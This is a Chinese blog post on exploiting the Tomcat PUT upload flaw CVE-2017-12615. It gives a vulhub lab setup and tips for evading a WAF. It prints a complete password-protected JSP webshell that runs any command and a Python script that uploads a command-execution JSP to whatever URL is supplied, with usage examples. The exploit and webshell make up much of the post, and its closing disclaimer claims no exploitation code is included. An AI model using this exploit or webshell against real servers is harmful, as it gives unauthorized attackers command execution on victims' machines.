一次偶然的邂逅,Tomcat 远程命令执行漏洞(CVE-2017-12615)
今天分享一个较老的漏洞,这是我在渗透过程中看到暴露tomcat版本,然后根据版本号去查的一个漏洞,利用起来非常简单粗暴。
01
漏洞简介
Apache Tomcat 7.0.0版本至7.0.79版本存在远程代码执行漏洞。当上述版本的Tomcat启用HTTP PUT请求方法时,远程攻击者可以构造恶意请求利用该漏洞向服务器上传包含任意代码执行的jsp文件,并被服务器执行该文件,导致攻击者可以执行任意代码。
02
影响版本
Bluecoat X-Series XOS 9.7
Bluecoat X-Series XOS 11.0
Bluecoat X-Series XOS 10.0
Bluecoat Director 6.1
Apache Tomcat 7.0.10 - 7.0.79
不影响版本:
Apache Tomcat 7.0.81及以上
03
环境搭建
0x01 下载并安装vulhub
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zipcd vulhub-master
0x02 启动docker
cd vulhub-master/tomcat/CVE-2017-12615/
docker-compose build
docker-compose up -d
如果没有安装docker请使用下面命令(debian/kali):
# 安装docker
apt-get install docker.io
# 安装docker-compose
pip install docker-compose
如果是ubantu参考此链接:
https://www.cnblogs.com/yufeng218/p/8370670.html
04
漏洞复现
打开靶场
抓包
原始请求如下
关键的一步来了,需要修改请求方法为PUT,data部分为写入文件内容,如果是上传木马,上传不成功有可能是WAF拦截,我就遇到过,此时可以尝试上传普通字符串测试,然后再尝试上传免杀webshell。
上传成功后返回状态码为201。请注意123.jsp是要写入webshell的文件名,后面有反斜杠。
我忘记连接webshell截图了,在docker中可以看到tomcat根目录文件
还是留个小马,不然大家又说我留图不留种了。
<%@page language="java" import="java.util.*,java.io.*"pageEncoding="UTF-8"%><%!public static String excuteCmd(Stringc) {StringBuilder line = new StringBuilder();try {Process pro =Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(newInputStreamReader(pro.getInputStream()));String temp = null;while ((temp =buf.readLine()) != null){line.append(temp
+"\\n");}buf.close();} catch (Exception e){line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
密码:023 命令参数:cmd
利用脚本:
import requests
import sys
import time
def attack(url):
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
headers={"User-Agent":user_agent}
data="""<%
if("fff".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>"""
try:
requests.put(url, headers=headers, data=data)
time.sleep(2)
verify_response = requests.get(url[:-1], headers=headers,proxies=proxies)
if verify_response.status_code == 200:
print 'success!'
else :
print verify_response.status_code
except :
"error"
if __name__ == '__main__':
target_url = sys.argv[1] + '/201712615.jsp/'
attack(target_url)
print 'shell: ' + target_url[:-1]
使用语法:python exp.py http://127.0.0.1
webshell: http://127.0.0.1/201712615.jsp?pwd=fff&cmd=whoami
● 免责声明
本项目仅进行信息搜集,漏洞探测工作,无漏洞利用、攻击性行为,发文初衷为仅为方便安全人员对授权项目完成测试工作和学习交流使用。
请使用者遵守当地相关法律,勿用于非授权测试,勿用于非授权测试,勿用于非授权测试~~(重要的事情说三遍)~~,如作他用所承受的法律责任一概与作者无关!!!